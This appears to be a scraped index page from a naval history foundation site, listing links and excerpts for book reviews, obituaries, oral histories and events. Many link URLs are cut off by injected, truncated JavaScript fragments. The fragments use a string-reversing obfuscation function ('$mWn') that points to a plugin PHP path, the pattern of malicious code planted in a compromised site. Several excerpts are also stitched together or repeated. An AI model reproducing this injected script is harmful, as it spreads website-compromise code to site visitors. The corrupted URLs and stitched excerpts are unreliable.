- [Sea-Air-Space 2021: "Arctic Domain Readiness"](https://navyhistory.org/2021/08/sea-air-space-2021-arctic-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - On Monday, August 2, as record numbers of attendees gathered for the first day of the 2021 Sea-Air-Space Conference, Rear Admiral Lars Saunes, Royal Norwegian Navy (Ret.) moderated a panel on the Arctic domain including Vice Admiral Andrew Lewis, Commander, 2nd Fleet, USN; Vice Admiral Scott Buschman, Deputy Commandant for Operations, USCG; Dr. Alyson Azzara,
- [A Kentucky Boy in the U.S Navy, 1958-1961](https://navyhistory.org/2022/05/a-kentucky-boy-in-the-u-s-navy-1958-1961/) - Reviewed by Diana L. Ahmad In his autobiography, Charles H. Bogart has provided readers with a thoroughly enjoyable look at his experiences in the United States Navy from 1958-1961. Written with a good sense of humor, the book provides an intimate look into the day-to-day experiences of young men on board the radar picket destroyer,
- [Admiral Hyman Rickover: Engineer of Power](https://navyhistory.org/2022/05/admiral-hyman-rickover-engineer-of-power/) - Reviewed by Dr. Ernie Marshall The author is an award-winning freelance journalist and independent author/historian whose previous books include: The Millionaire’s Unit: The Aristocrat Flyboys Who Fought the Great War and Invented American Air Power; 1941: Fighting the Shadow War; and The Bonfire: The Siege and Burning of Atlanta. With half a score of books
- [COMMODORE DUDLEY W. KNOX AWARDS LUNCHEON](https://navyhistory.org/2021/08/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Right: Dr. Michael Crawford receives the NHF's 2020 Dudley W. Knox medal for lifetime achievement in Naval History from Admiral Fallon and NHHC Director RADM Samuel J. Cox, USN (Ret.). Left: NHF Chairman ADM William J. Fallon, USN (Ret.) and Ms. Rosemary Coskey present a Truxtun bowl to 2020 Volunteer of the Year and editor
- [TED BRONSON: REMEMBERING A TRUE NAVAL AVIATION LEGEND](https://navyhistory.org/2021/08/ted-bronson-remembering-a-true-naval-aviation-legend-2/) - Captain Mike Boyle, Captain Ted Bronson, USN (Ret.) and Admiral Harry Harris, PACOM, stand before the newly placed P-8A Poseidon Model (NHF Photo/Matthew Eng/Released) The Naval Historical Foundation lost a long-time friend and avid supporter with the passing of Captain Edward F. "Ted" Bronson, US Navy (Retired). The son of the late Edward J. and
- [DR. ANN O’KEEFE: EDUCATOR AND AUTHOR WAS FIRST DIRECTOR OF NAVY’S FAMILY SUPPORT PROGRAM](https://navyhistory.org/2021/08/dr-ann-okeefe-educator-and-author-was-first-director-of-navys-family-support-program/) - Dr. Ann O'Keefe poses with the Fleet and Family Support Program staff after a 40th anniversary celebration at the Washington Navy Yard, D.C. (Photo By Chief Petty Officer Brian Morales | July 16, 2019) Dr. Ann O’Keefe, an educator and author who served as the first director of the U.S. Navy’s celebrated Fleet and Family Support Program,
- [The U.S. Navy's Tactical Response to 9/11: VADM J. Cutler Dawson Interviews CAPT Rodger Welch](https://navyhistory.org/2021/09/the-u-s-navys-tactical-response-to-9-11-vadm-j-cutler-dawson-interviews-capt-rodger-welch/) - In September of 2001 Vice Admiral Dawson was serving as commander of the Second Fleet and Captain Welch was the commander of Carrier Air Wing 17, which was based off the USS George Washington when it was deployed to protect New York City after the attacks on September 11th, 2001.20 years later, Captain Welch addresses a number of
- [COMBAT DOCUMENTATION DET. 206 TO STAND DOWN](https://navyhistory.org/2021/09/combat-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - For decades, NHHC's reserve unit, the Navy Combat Documentation Detachment 206, collected large amounts of information on current operations. With the end of the war in Afghanistan and changing Navy Reserve billet priorities, assigned Navy Reserve billets supporting the NHHC’s combat documentation and collections mission are to be phased out. The Navy Reserve will defund the
- [NHF Naval Heritage Speakers Program: USS Richard B. Anderson (DD-786)](https://navyhistory.org/2021/09/uss-richard-b-anderson-dd-786/) - By Dr. Diana L. Ahmad In April 2021, I received a surprise email from Dr. Dave Winkler asking me if I might be interested in being the banquet speaker for the reunion of USS Richard B. Anderson veterans. I quickly said yes! Then, I looked up the namesake of the vessel. I learned that Richard Anderson was
- [Commodore Dudley W. Knox Awards Banquet](https://navyhistory.org/2021/09/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Thank you to everyone who turned out last Friday for our awards banquet on the final evening of the USNA McMullen Symposium in Annapolis. It was an honor having you with us to celebrate our distinguished awardees! ADM William J. Fallon and Dr. Salvatore Mercogliano present the Knox Medal to Dr. Robert M. Browning, Jr.
- [Mourning the Loss of Naval Aviation Historian Mark L. Evans](https://navyhistory.org/2021/10/mourning-the-loss-of-naval-aviation-historian-mark-l-evans/) - Mark Evans (left) is presented the Meritorious Civilian Service Award Feb. 19, 2015 by NHHC Director Samuel J. Cox for his outstanding work in the Histories and Archives Division of the Naval History and Heritage Command. (U.S. Navy photo by Mass Communication Specialist 2nd Class Eric Lockwood/Released) The Navy released a two-volume history of naval
- [NHHC AND THE WASHINGTON NAVY YARD COMMEMORATE CENTENARY OF THE ORIGINAL UNKNOWN SOLDIER’S RETURN](https://navyhistory.org/2021/11/nhhc-and-the-washington-navy-yard-commemorate-centenary-of-the-original-unknown-soldiers-return/) - Right to Left: Master of Ceremonies Tom Frezza, Moderator David Winkler, Panelist Chris Havern, Panelist Lucas Clawson, Panelist Kara Newcomer, and Panelist Scott Price Senior historians of the sea services conversed in the National Museum of the United States Navy on Tuesday, ahead of a ceremony commemorating the centennial of the Unknown Soldier's arrival at
- [50 Years Ago: Easter Offensive, South Vietnam 1972 -- Recollections of the Role of USS Davidson (DE-1045)](https://navyhistory.org/2022/05/50-years-ago-easter-offensive-south-vietnam-1972-recollections-of-the-role-of-uss-davidson-de-1045/) - By F.H. McCullough, III INTRODUCTION Fifty-years ago, in the Gulf of Tonkin, during the evening of May 8, 1972, offshore North Vietnam, a U.S. Navy SH-3 Sea King helicopter was making its approach to the U.S. Navy’s guided missile light cruiser USS Providence (CLG 6), flagship of Rear Adm. Rembrandt C. Robinson, USN, the Commander
- [Dreadnoughts and Super-Dreadnoughts](https://navyhistory.org/2022/05/dreadnoughts-and-super-dreadnoughts/) - Reviewed by Ed Calouro Battleship buffs and authorities on capital ships are familiar with the dictum that once HMS Dreadnought was commissioned in 1906, all existing battleships thereby became obsolete. Indeed, all-big-gun battleships from 1906 forward were considered dreadnoughts or, subsequently, super-dreadnoughts. Capital ships built before 1906 with a mixed or intermediate main armament, were
- [From Scapa to Jutland: The Story of HMS Caroline at War From 1914-1917](https://navyhistory.org/2022/04/from-scapa-to-jutland-the-story-of-hms-caroline-at-war-from-1914-1917/) - Reviewed by CAPT Chuck Good, USN (Ret.) “Stealth at Work” is a chapter title in this interesting and clever little book, and it fits the book itself. To outward appearance, this is a breezy picture-book, geared towards tourists and dilletantes visiting the museum ship herself at her berth in Belfast; a light souvenir, easy to slip
- [ORAL HISTORY - Captain Franklin H. Beardsley, Jr., USN (Ret.)](https://navyhistory.org/2022/04/oral-history-captain-franklin-h-beardsley-jr-usn-ret/) - After a span of eight years, Captain Beardsley, a member of the Naval Historical Foundation, responded to a survey to participate in the Foundation’s oral history program. At the same time, fellow NHF member and Professor of History at William Paterson University Suzanne G. Bowles, also expressed interest in participating. Because Dr. Bowles already knew
- [40th Anniversary -- Naval War in the South Atlantic (The Fight for the Falklands/Malvinas)](https://navyhistory.org/2022/04/40th-anniversary-naval-war-in-the-south-atlantic-the-fight-for-the-falklands-malvinas/) - 3 May 2022 | National Museum of the United States Navy | Washington Navy Yard | 4 pm - 6 pm Reception to Follow The Navy Museum will serve as the backdrop for an afternoon seminar followed by a reception as the NHF commemorates the 40th anniversary of the largest naval combat confrontation in the
- [The Spirit to Soar: Inspiring Life Lessons and Values for a Victorious Life](https://navyhistory.org/2022/03/the-spirit-to-soar/) - Reviewed by Charles H. Bogart This remarkable book is much more than a biography of Lt. Col. Barry B. Bridger; it is also a guide to living life to the fullest. The story is of two parts, Lt. Col. Bridger’s life up and through captivity and his life after leaving the U.S. Air Force. His
- [More Precious Than Peace](https://navyhistory.org/2022/04/more-precious-than-peace/) - Reviewed by CAPT Richard Dick, USN (RET) Dr. Justus Doenecke has studied intensely the events and personalities involved in the eventual American intervention in World Wars I and II, authoring six books on these topics. The author’s depth of research and knowledge of secondary sources covering the early 20th century in the U.S. greatly strengthens
- [Developing the Naval Mind](https://navyhistory.org/2022/04/developing-the-naval-mind/) - Reviewed by Charles C. Kolb, Ph.D. Developing the Naval Mind is an important, thoughtful volume written by two Naval Academy history professors is designed for officers of the U.S. Navy and Marine Corps but also serves Sailors and Marines of all ranks as a compendium on developing professionalism and skills needed to rise through
- [First Strike, Revisited: Elder Voices From the Doolittle Raid](https://navyhistory.org/2022/04/first-strike-revisited-elder-voices-from-the-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-/) - By Kyle Nappi By April 18, 1942, the United States and its allies had suffered repeated setbacks in the war against Imperial Japan, to include the attack on Pearl Harbor, the capture of Wake Island, and the fall of Hong Kong and Singapore. Just nine days earlier, on April 9, the half-starving ammunition-depleted Bataan Peninsula
- [Hitler’s Navy: The Kriegsmarine in World War II](https://navyhistory.org/2022/04/hitlers-navy-the-kriegsmarine-in-world-war-ii/) - Reviewed by CAPT Chuck Good, USN (Ret) Broad in scope and rich in detail, Hitler’s Navy is a comprehensive overview of the ships, organization, and sailors of the Kriegsmarine. As befits Osprey’s core competency in producing monographs of famous ships and classes, the work is lavishly illustrated and full of technical detail. For those seeking
- [Eyes of the Fleet over Vietnam: RF-8 Crusader Combat Photo Reconnaissance Missions](https://navyhistory.org/2022/04/eyes-of-the-fleet-over-vietnam-rf-8-crusader-combat-photo-reconnaissance-missions/) - Reviewed by ISCM (AW) David Mattingly, USN Ret. A mix of airframes; fighters, light attack planes, and helicopters all made up the carrier air wings on Yankee Station during the Vietnam War. Most notably, the RF-8 Crusader piloted by Navy and Marine Corps aviators flew over enemy territory as the “eyes of the fleet.” Kenneth
- [The SS United States and the U.S. Navy](https://navyhistory.org/2021/10/the-ss-united-states-and-the-u-s-navy-by-lcdr-sean-walsh-usn-ret/) - By LCDR Sean Walsh, USN (Ret.) Although the SS United States was the culmination of William Francis Gibbs’s lifelong passion to design and build the greatest passenger liner in the world, its potential use in a wartime environment as a high speed troopship was used to justify its construction in the late 1940’s and the government subsidizing
- [Seapower, Satire, and Superstition: Stephen Decatur and the Hunt for the Jersey Devil](https://navyhistory.org/2021/10/seapower-satire-and-superstition-stephen-decatur-and-the-hunt-for-the-jersey-devil/) - By Tyler Robinson According to a story told in the Pine Barrens of New Jersey, Commodore Stephen Decatur, the Naval hero most famous for his daring 1804 raid on the harbor of Tripoli, encountered the cryptid popularly known as the Jersey Devil during a visit to the Hanover Mill Works, firing a cannonball at the creature
- [Marines and the Return of America’s World War I Unknown Soldier](https://navyhistory.org/2021/11/marines-and-the-return-of-americas-world-war-i-unknown-soldier/) - By Kara R. Newcomer The Marine Corps’ participation in the return and interment of America’s World War I Unknown Soldier can be divided into two parts: escort duty aboard the USS Olympia and ceremonial duties for the Unknown’s interment in Arlington National Cemetery. On 26 September 1921, Major General Commandant John A. Lejeune sent orders to the
- [Admiral Jeremy Michael Boorda: A Case Study in Deck-plate Leadership](https://navyhistory.org/2022/01/admiral-jeremy-michael-boorda-a-case-study-in-deck-plate-leadership/) - By CAPT James “Ros” Poplar III, USN (Ret.) As a thirty-year Surface Warfare Officer from 1974-2004 I had the opportunity to work for numerous leaders but by far one of the best was Admiral “Mike” Boorda where our wakes crossed twice. First during his tenure as Chief of Naval Operations from 1994-1996 and secondly after his
- [Torpedoes, Tea, and Medals: The Gallant Life of Commander D. G. H. ‘Jake’ Wright DSC** Royal Naval Volunteer Reserve](https://navyhistory.org/2022/04/torpe<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Reviewed by Charles H. Bogart If small boat action is of any interest to you, this book is a must read. While thousands of books have been written about the fight to the death between the Royal Navy and the Kriegsmarine during World War II, almost all of these books have concentrated on the convoy The word “Tea” in the book’s title refers to the fact that, both prewar and postwar, Cdr. Wright’s occupation was that of tea merchant. How a tea merchant became one of the leading Royal Navy small boat commanders is the heart of this book’s story. Every war produces naval leaders who find in themselves some quality that allows them to become effective and fearless leaders. Cdr. Wright is such a person. Much of the book is concerned with the mundane effort of preparing for combat. The preparation includes not only training but evaluating after action reports and revising tactics to improve the odds of conducting a successful attack. These mundane accounts are punctuated by detailed descriptions of convoy attacks. The account of each attack covers the who, what, where, and when of the operation. Nicely drawn diagrams give the reader a visual understanding of each of the actions being described.
- [The Development of Crude Oil Tankers: A Historical Miscellany](https://navyhistory.org/2022/04/the-development-of-crude-oil-tankers-a-historical-miscellany/) - Reviewed by Ingo Heidbrink, Ph.D. Crude oil tankers are not only some of the largest ships that have ever sailed the oceans but are the backbone of international energy trade. At the same time they normally gain little public attention, unless they are at the center of an ecological disaster. Therefore, it should be lauded One of the groups this book can be commended to without any hesitation are any kind of ship lovers or merchant marine history buffs who are looking for a plain overview on the development of the oceangoing crude oil tanker. A second group are crewmembers or anybody else with a direct connection to this particular type of ship. When it comes to professional maritime historians interested in the field of transoceanic crude oil transportation, there are books that are providing a much more in-depth analysis, but as these books have been either published in languages other than English or do not cover the last two or three decades of the development, Solly’s book might still be a useful addition to a personal or institutional research library despite of its limitations as a research publication. Finally, and as strange as it may read given the highly specialized subject of the book, due to its good selection of photographs, with many of them reproduced on at least half-page size, it has certain qualities of a coffee-table book for everybody simply interested in ships and maritime history. Given the sheer dimensions of these ships, they have a very specific esthetic that is hard not to be attracted by when flipping the pages of the book.
- [Leadership: The Warrior’s Art  ](https://navyhistory.org/2022/03/leadership-the-warriors-art-2/) - Reviewed by Rhonda Smith-Daugherty, Ph.D. In his famous work, On War, Carl von Clausewitz discussed the qualities that make up what he termed the “Military Genius.” While he acknowledged that good leaders require intellect, the real heart of leadership is intuition and courage. Since the battlefield is fluid, a leader must have the ability to
- [Wind, Fire and Ice: The Perils of a Coast Guard Icebreaker in Antarctica](https://navyhistory.org/2022/03/wind-fire-and-ice-the-perils-of-a-coast-guard-icebreaker-in-antarctica/) - Reviewed by Ingo Heidbrink, Ph.D. On the surface Robert M. Bunes new book Wind, Fire and Ice: The Perils of a Coast Guard Icebreaker in Antarctica is an autobiographical take on a young physician’s deployment on USCGC Glacier to Antarctica in the early 1970s. As such it is a welcome addition to the body of
- [Dirty Eddie’s War](https://navyhistory.org/2022/03/dirty-eddies-war/) - Reviewed by Charles H. Bogart This book is a must read for anyone interested in U.S. Naval aviation in the Pacific Theater during World War II. Lt. Commander Harry “Dirty Eddie” March Jr. joined the Navy in December 1940 and pinned on his naval wings in August 1941. He would serve in the Pacific Theater This book is a must read for anyone interested in U.S. Naval aviation in the Pacific Theater during World War II. Lt. Commander Harry “Dirty Eddie” March Jr. joined the Navy in December 1940 and pinned on his naval wings in August 1941. He would serve in the Pacific Theater during the course of World War II and be promoted from Ensign to Lt. Commander. Along the way he gained the distinction of being designated an Ace, having downed five Japanese aircraft.
- [Schnellbootwaffe: Adolf Hitler’s Guerrilla War at Sea: S-Boote 1939-45](https://navyhistory.org/2022/03/schnellbootwaffe-a<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-/) - Reviewed by Capt. Richard Dick, USN (Ret.) Schnellbootwaffe is a volume in the extensive Images of War collection from Pen and Sword. The collection focuses primarily on presenting lesser-known archival and private photographs woven with captions and text. For some subjects like military animals in the First World War and the Brandenburger commandos in the The real strength of the book is not so much its photographs but the operational details of the crews, formations, and operations of S-boat flotillas in Western Europe and the Mediterranean. Hrvoje Spajic’s book presents little on S-boat operations on the Eastern Front. On the organization and operations on the Western and Mediterranean fronts, unfortunately in English, Spajic has to go head-to-head with Lawrence Paterson’s comprehensive Schnellboote: A Complete Operational History, originally published in 2016 by the U.S. Naval Institute. The two books clearly draw on the same operational archives but Paterson has the textual room to cover the field more extensively and intensively (although Paterson’s volume is more expensive).
- [Crash Boat](https://navyhistory.org/2022/03/crash-boat/) - Reviewed by Capt. Richard Dick, USN (Ret.) Crash Boat is a remarkable memoir in several ways. The story of an Army Air Forces (AAF) 63-foot crash boat, P-399 Sea Horse (an unofficial nickname), in the Pacific during the latter half of World War II, it was written in a cooperative effort between the skipper, Earl Crash Boat is not a very helpful resource for modelers or those interested in tactical histories. However, as a vivid, factual, and very human narrative of a little-known aspect of World War II, it is hard to beat.
- [Oral History – Rear Admiral Thomas F. Brown III, USN](https://navyhistory.org/2022/03/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Thomas Francis Brown III entered Officer Candidate School in 1954 and served as an aviator until his retirement in 1985 as the Director, Strike and Amphibious Warfare Division (OP-954) in the Office of the CNO. In his 343 combat missions in Vietnam, he was awarded a Silver Star for dropping a bridge span in North
- [U-48:  The Most Successful U-Boat of the Second World War](https://navyhistory.org/2022/03/u-48-the-most-successful-u-boat-of-the-second-world-war/) - Reviewed by Diana L. Ahmad, Ph.D. Published twenty years after the death of the author, Franz Kurowski, the book focuses on U-48, the most successful U-Boat in World War 2. During the war, the author served as a Luftwaffe paratrooper with the Afrika Korps. After the war, he worked as a freelance journalist and wrote The book gives readers a detailed description of how the commanders of U-48 proved incredibly successful by sinking or damaging fifty-seven vessels (322,500 total gross tonnage) in two years. Kurowski credited the leadership of U-48’s commanders, Herbert Schultze, Hans-Rudolf Rӧsing, and Heinrich Bleichrodt, as well as a few others,
- [An Artilleryman in Stalingrad: A Soldier’s Story at the Turning Point of World War II](https://navyhistory.org/2022/03/an-artilleryman-in-stalingrad-a-soldiers-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-ega/) - Reviewed by Jeff Schultz Dr. Wigand Wüster’s An Artilleryman in Stalingrad: A Soldier’s Story at the Turning Point of World War offers insight into a pivotal World War II campaign through the rarely told artilleryman’s perspective. His frank memoir lacks the self-serving elements common to historical retellings where pride takes precedence and real experiences require Wüster’s An Artilleryman in Stalingrad: A Soldier’s Story at the Turning Point of World War II provides a fresh, little-known glimpse into the life of a German artillery officer on the Eastern Front. Wüster’s story, which culminated in the 1942 Stalingrad campaign, follows his deployment in Operation Barbarossa to his capture at Stalingrad to his subsequent
- [Saipan 1944: The Most Decisive Battle of the Pacific War](https://navyhistory.org/2022/02/saipan-1944the-most-decisive-battle-of-the-pacific-war/) - Reviewed by John Grady The weeks long gruesome land battle by Marines and soldiers to take mountainous Saipan included a doomed but deadly Banzai charge of Japanese soldiers followed by mass civilian suicides rather than surrender to the Americans. Those two events are often what is remembered most in the struggle to control the most
- [Yamato: Flagship of the Japanese Imperial Navy](https://navyhistory.org/2022/02/yama<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/ro/) - Reviewed by Ed Calouro A long evolutionary arc traces the design and development of metal battleships. It generally dates to the Battle of Hampton Roads in 1862 between the ironclads USS Monitor and the CSS Merrimack (Virginia). Surely, the behemoth super dreadnoughts of the Yamato-class sit at the apogee of this arc. At 63,315 tons
- [The Captain Class Frigates in the Second World War](https://navyhistory.org/2022/02/the-captain-class-frigates-in-the-second-world-war/) - Reviewed by CAPT Richard Dick, USN (Ret.) Donald Collingwood’s Captain Class Frigates is both a history of a class of escorts important in the latter stages of World War II and also a fond memoir of both ships and men. Collingwood himself served in the Captain-class H.M.S. Cubitt from 1943 to 1946 in the Atlantic
- [The History of the British 'U' Class Submarine](https://navyhistory.org/2022/02/the-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - Reviewed by Jeff Schultz Derek Walters’s The History of the British ‘U’ Class Submarine fills a gap in the historiography of World War II regarding short-range Allied submarine operations. In particular, Walters profiles the small ‘U’ (and ‘V’) class and their use by British and seven other Allied nations both during and after the conflict.
- [A Forgotten Campaign: The British Armed Forces in France 1940, From Dunkirk to the Armistice](https://navyhistory.org/2022/01/a-forgotten-campaign-the-british-armed-forces-in-france-1940-from-dunkirk-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list/) - Reviewed by Nicholas M. Anthony Jr., Ph.D., USA (Ret.) The Roman statesman, lawyer, scholar, philosopher, and academic skeptic Marcus Tullius Cicero stated that “Poor is the nation that has no heroes, but poorer still is the nation that having heroes, fails to remember and honor them.” In his first book, A Forgotten Campaign: The British
- [Genesis of the Grand Fleet: The Admiralty, Germany, and the Home Fleet 1896-1914 ](https://navyhistory.org/2022/02/genesis-of-the-grand-fleet-the-admiralty-germany-and-the-home-fleet-1896-1914/) - Reviewed by Charles C. Kolb, Ph.D. This new title from the Naval Institute Press’s series, Studies in Naval History and Sea Power, is written by Christopher Buckley, son of Captain David Buckey (USN Retired) and an undergraduate history major from the University of California Santa Cruz, who obtained his doctorate at the University of Salford
- [The Great White Fleet: Top 10 Things You May Not Know About the Historic U.S. Navy Worldwide Cruise](https://navyhistory.org/2022/02/the-great-white-fleet-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - The cruise of the Great White Fleet took the U.S. Navy around the globe in fourteen months on a journey totaling 43,000 miles. They visited twenty unique port calls across six continents. It was a monumental “show of flag” for the burgeoning world power. The fleet showcased the naval and maritime capabilities of its new The cruise of the Great White Fleet took the U.S. Navy around the globe in fourteen months on a journey totaling 43,000 miles. They visited twenty unique port calls across six continents. It was a monumental “show of flag” for the burgeoning world power. The fleet showcased the naval and maritime capabilities of its new “Steel Navy” to nations around the world. Here are ten interesting facts about the historic around-the-world cruise.
- [French Battleships, 1922-1956](https://navyhistory.org/2022/01/french-battleships-1922-1956/) - Reviewed by Ed Calouro Most histories of World War II at sea rightly focus on the United States, Great Britain, Japan, and Germany. After all, these nations’ navies did the bulk of the fighting. The French, Italian, and other fleets generally receive short shrift. John Jordan and Robert Dumas have shifted the spotlight in their
- [All Present and Accounted For: The 1972 Grounding of the U.S. Coast Guard Cutter Jarvis and the Heroic Efforts that Saved the Ship](https://navyhistory.org/2022/01/all-present-and-accounted-for-the-1972-grounding-of-the-u-s-coast-guard-cutter-jarvis-and-the-heroic-efforts-that-saved-the-ship/) - Reviewed by Ellen A. Ahlness, PhD All Present and Accounted For is a comprehensive, well-researched, and well-narrated case study in U.S. Coast Guard History. Throughout his narration of this disastrous grounding, Craig ensures the historical rendering is never sterile; instead, it maintains an eye to the human experience of a complicated event in U.S. Military history.
- [The Indestructible Man: The Incredible True Story of the Legendary Sailor the Japanese Couldn’t Kill](https://navyhistory.org/2022/01/the-indestructible-man-the-incredible-true-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-e/) - Reviewed by LCDR Brian Hayes, USNR (Ret.) The Indestructible Man tells the story of Dixie Kiefer, a naval officer and aviator who served in several of the legendary battles of World War II’s Pacific Theater. Kiefer has been the subject of profiles by the Naval History and Heritage Command and other Internet and print publications,
- [Battleship Commander: The Life of Willis A. Lee Jr.](https://navyhistory.org/2022/02/battleship-commander-the-life-of-willis-a-lee-jr/) - Reviewed by David F. Winkler, Ph.D. Paul Stillwell has filled one of the remaining voids in the bibliographic study of America’s World War II naval leadership with his well-written narrative of Vice Adm. Willis A. “Ching” Lee who was entrusted with command of the American battleline during the Pacific war against Japan. Such a position, For Stillwell, his duties with the U.S. Naval Institute to conduct oral histories, editing the journal Naval History, and taking on other book projects to include studies on the battleships Arizona and New Jersey as well as the award-winning Golden Thirteen overview of the Navy’s first African-American officers kept this project on the back burner.
- [Marine Leadership in Peace and War: A Review Essay](https://navyhistory.org/2022/02/marine-leadership-in-peace-and-war-a-review-essay/) - By Leo J. Daugherty III The late Professor Edgar F. Puryear, Jr., who until his death in 2018 was scholar-in-residence at the National Defense University and an authority on American generalship, outlined in his book Marine Corps Generalship (National Defense University, 2009) the three critical components that define Marine leadership in time of war. The
- [LCS Ships and Liberation Day at Mariveles, 1945](https://navyhistory.org/2022/02/lcs-ships-and-liberation-day-at-mariveles-1945/) - By Dennis A. Steenbergen, Landing Craft Support Museum 15 February is the anniversary of the loss of three LCS ships to Shin'yō suicide boats at Mariveles Bay during the liberation of the Philippines. U.S. forces were massing in February 1945 to launch an amphibious and land attack on the Bataan Peninsula and Corregidor. Mr. Steenbergen The Landing Craft Support ships of WWII played a pivotal role in the Liberation of Mariveles Bay on February 16th, 1945. Six of the small LCS ships were anchored across the mouth of the bay to provide security screening for the US and Filipino forces landing on the shores of your city to recapture the Bataan Peninsula from the occupying forces of Japan.
- [Bronze Rules: Managing Risk and Leadership](https://navyhistory.org/2022/02/bronze-rules-managing-risk-and-leadership/) - Reviewed by Master Chief David Mattingly, US Navy (Retired) Rear Admiral Dave Oliver spent a career as a submarine officer, a leader within the Navy and Department of Defense, and as an executive in several Fortune 500 companies. He has been a writer about leadership most notably Lead On! A Practical Guide to Leadership published Bronze Rules is a very good read and belongs on the shelf of Navy leaders. At the end of the book Oliver lists his “Bronze Rules” by first stating. “The only golden rule is to never betray your ethics or risk your integrity.”
- [The Sailor's Bookshelf: Fifty Books to Know the Sea](https://navyhistory.org/2022/02/the-sailors-bookshelf-fifty-books-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Reviewed by Charles C. Kolb, Ph.D. James G. Stavridis, a distinguished graduate of the U.S. Naval Academy, Class of 1976, who majored in English and would ultimately rise to four-star admiral, spent 37 years as a surface warfare officer on active service in the U.S. Navy. He commanded destroyers (USS Barry and subsequently Destroyer He succeeds in offering examples of leadership and heroism valuable to laypersons, members of the military in and beyond the Navy, whether novices or veterans.
- [Truxtun's Bowls](https://navyhistory.org/2021/09/truxtun-bowl/) - Mr. Kenneth Hill, Mount Vernon's Development Division, Senior Major Gifts Officer; Mr. James Longley, 6th generation descendant of Commodore Thomas Truxtun; RADM Sonny Masso, Executive Director, Naval Historical Foundation; Mr. Mark Weber, Managing Director, National Museum of the U.S. Navy; Dr. Jennifer London; Ms. Amanda Isaac, Associate Curator at Mount Vernon; Mr. Wesley Schwenk, Collections
- [Washington Naval Arms Conference at 100: Swords into Plowshares, Consequences for the Navy and Nation — SECOND SATURDAY WEBINAR](https://navyhistory.org/2022/02/washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/)
- [Doris Miller: Messboy, Steward, Cook, Hero](https://navyhistory.org/2022/02/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - “The President of the United States of America takes pleasure in presenting the Navy Cross to Mess Attendant First Class Doris Miller (NSN:3561235) United States Navy, for exceptional courage, presence of mind, and devotion to duty and disregard for his personal safety while serving on board the Battleship USS WEST VIRGINIA (BB-48), during the Japanese
- [The Initiation of Chief Petty Officers: A Tradition of Change — SECOND SATURDAY WEBINAR](https://navyhistory.org/2022/01/the-initiation-of-chief-petty-officers-a-tradition-of-change-second-saturday-webinar/) - We are joined today by former MCPON Mike Stevens, the 13th Master Chief Petty Officer of the Navy, and FLTCM April Beldo-Lilley to weigh in on the subject.
- [The Poseidon Project: The Struggle to Govern the World's Oceans](https://navyhistory.org/2022/01/the-posei<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/c/) - Reviewed by Ingo Heidbrink David Bosco's new book The Poseidon Project provides not only a historical account of the development of the international Law of the Sea from Early Modern times to the present day, but also an easily accessible guide to key legal concepts in this complex area of international law. Comprising eight chapters
- [Avenging Pearl Harbor: The Saga of America's Battleships in the Pacific War](https://navyhistory.org/2022/01/avenging-pearl-harbor-the-saga-of-americas-battleships-in-the-pacific-war/) - Reviewed by Charles C. Kolb, Ph.D. 80 years after the Japanese attack at Pearl Harbor, new books are being published on topics leading up to that event, the attack itself, and its aftermath. A volume titled Avenging Pearl Harbor: The Saga of America’s Battleships in the Pacific War has been written by U.S. Navy veteran
